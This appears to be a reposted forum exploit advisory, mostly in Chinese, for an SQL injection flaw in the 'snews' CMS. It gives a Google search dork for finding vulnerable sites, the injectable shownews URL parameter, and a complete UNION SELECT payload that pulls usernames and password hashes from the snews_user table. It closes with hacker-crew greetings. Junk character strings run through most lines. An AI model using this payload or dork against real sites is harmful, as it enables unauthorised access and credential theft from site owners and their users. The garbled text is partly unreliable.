标题: CMS snews SQL Injection Vulnerability
9 K8 [" n% d6 t作者: By onestree. W6 u- j2 i6 j0 N3 B
下载地址 : http://snewscms.com/$ x, F2 A+ g# b! I- D! Y
测试平台 : ubuntu 12.10 / win 7
# E: M8 j+ a. p关键词: inurl:"tanyakan pada rumput yang bergoyang"
2 w: R; f. |; }8 ]. ^6 |; ?( Z: o 7 J& W; s9 m3 O& F% i
( b, @6 W7 H$ h( x*************************************************************
3 K, D. c: [- u! D4 k
4 @$ I. v d* G4 d- lSQL poc:
7 }& L/ r( g# O, U. R
% `3 A6 b( t$ {1 m+ p2 W2 Khttp://www.2cto.com /snews/snews.php?act=shownews&id=[SQL]% _' e9 \# K* C/ g- _0 j. @% E0 z
5 m( I0 {% a. ]$ P示例
: G' W6 Z8 P0 a$ o: m2 E* e+ w . U* h3 o4 h% E: P
http://localhost/snews/snews.php?act=shownews&id=-23/**/union/**/select/**/0,1,concat(user_name,char(32),user_pass),3,4,5,6/**/from/**/snews_user/**/where/**/id%20like%201/*9 b6 x% d/ t1 m' P3 }0 M* x* X
g5 k3 s2 U. z- v
2 D5 n' o% C7 s3 F7 ?2 W/ z致谢:
P; d3 M$ C1 ]% e8 d, p/ x 1 ?; T9 C- ]& C" u: n
Exploit-db | Alex_Ownz | alm.teardrop | abhelink | kalong666 | prorebell
4 Y6 A! H0 D9 Q. M* V: Q + F0 f8 u/ Z. @0 I
indonesiancoder - moeslimh4x0r - go-coder
9 ~/ A4 f g' z j0 \/ \; E5 K: [ 8 w# J+ H) W1 O( {# W ]
spesial my hunny :*
5 Y5 O: J+ T. [2 j |
发表于 2013-1-23 08:55:06
收藏
支持
反对